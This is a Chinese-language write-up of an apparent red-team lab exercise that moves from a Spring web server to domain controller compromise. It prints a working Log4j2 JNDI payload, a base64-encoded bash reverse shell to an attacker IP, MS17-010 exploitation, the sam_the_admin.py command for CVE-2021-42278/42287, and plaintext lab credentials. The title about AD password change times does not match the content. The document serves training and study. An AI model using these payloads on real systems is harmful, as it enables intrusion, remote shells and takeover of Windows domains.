Java获取AD密码修改时间

WEB服务器

172.16.12.152
10.0.1.6

域控

10.0.0.12

域主机

10.0.1.7
10.0.0.7

---

信息收集

1. IP为 172.16.12.152
2. 端口扫描

22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
38080/tcp open  unknown

1. 访问页面发现是一个报错的页面,查阅资料是 spring 框架
2. 目录扫描

[14:33:40] 400 -  800B  - /\..\..\..\..\..\..\..\..\..\etc\passwd                                          
[14:33:41] 400 -  800B  - /a%5c.aspx                                       
[14:33:55] 500 -  105B  - /error                                                                           
[14:33:55] 500 -  105B  - /error/                    
[14:33:56] 200 -  946B  - /favicon.ico                                                                     
[14:33:57] 405 -  149B  - /hello

1. 使用 dnslog 验证是否存在近期严重的log4j2漏洞

1.Log4j2是一个Java日志组件，被各类Java框架广泛地使用

2.Log4j2的Lookup主要功能是通过引用一些变量，往日志中添加动态的值。其中和本次漏洞相关的便是jndi，例如：${jndi:rmi//127.0.0.1:1099/a}，表示通过JNDI Lookup功能，获取rmi//127.0.0.1:1099/a上的变量内容。

3.JNDI（Java Naming and Directory Interface，Java命名和目录接口），是Java提供的一个目录服务应用程序接口（API），它提供一个目录系统，并将服务名称与对象关联起来，从而使得开发人员在开发过程中可以使用名称来访问对象 。

4.JNDI注入成因：当一个需要被获取的对象的名称可以被远程控制的时候，黑客可以将被攻击的java客户端的jndi请求指向恶意的服务地址，恶意的资源服务地址响应了恶意的java对象

简单来说在打印日志的时候，如果你的日志内容中包含关键词 ${，攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令，并且执行。

参考链接：

https://www.163.com/dy/article/GRUDFAVO0511DM95_pdya11y.html

[JNDI注入成因]

[log4j关于JNDI注入漏洞验证及修复]

1. post提交

payload=${jndi:ldap://07xmzk.dnslog.cn}

漏洞利用

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.16.12.128

将反弹shell进行base64编码

bash -i >& /dev/tcp/172.16.12.128/6666 0>&1

构造payload

payload=${jndi:ldap://172.16.12.128:1389/TomcatBypass/Command/Base64/L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4xNi4xMi4xMjgvNjY2NiAwPiYx}

发现反弹了shell，在根目录下找到flag1

Congratulations, you got this: saul Saul123

内网渗透

1. ssh登录后将会话发送到MSF,添加路由并开启代理
2. 进行内网信息收集,发现存在IP地址为10.0.1.7
4. 对该主机进行端口扫描



6. 发现开启了445端口,查看是否可以利用MS17_010



7. 提示可以利用该漏洞
9. 直接利用得到shell得到flag2



11. 内网信息收集发现只存在一台主机并且是域控，ip地址为10.0.0.12





12. 这里利用最新的域内提权漏洞CVE-2021-42278,CVE-2021-42287

• CVE-2021-42278，机器账户的名字一般来说应该以$结尾，但AD没有对域内机器账户名做验证。
• CVE-2021-42287，与上述漏洞配合使用，创建与DC机器账户名字相同的机器账户（不以$结尾），账户请求一个TGT后，更名账户，然后通过S4U2self申请TGS Ticket，接着DC在TGS_REP阶段，这个账户不存在的时候，DC会使用自己的密钥加密TGS Ticket，提供一个属于该账户的PAC，然后我们就得到了一个高权限ST。
• 假如域内有一台域控名为 DC（域控对应的机器用户为 DC$），此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 SAMTHEADMIN-48$，再把机器用户 SAMTHEADMIN-48$ 的 sAMAccountName 改成 DC。然后利用 DC 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 SAMTHEADMIN-48$。这个时候 KDC 就会判断域内没有 DC 这个用户，自动去搜索 DC$（DC$是域内已经的域控DC 的 sAMAccountName），攻击者利用刚刚申请的 TGT 进行 S4U2self，模拟域内的域管去请求域控 DC 的 ST 票据，最终获得域控制器DC的权限。

proxychains python3 sam_the_admin.py "redteam.lab/root:Red12345" -dc-ip 10.0.0.12 -shell

反弹shell成功拿下域控的权限

最终在域控桌面拿下flag3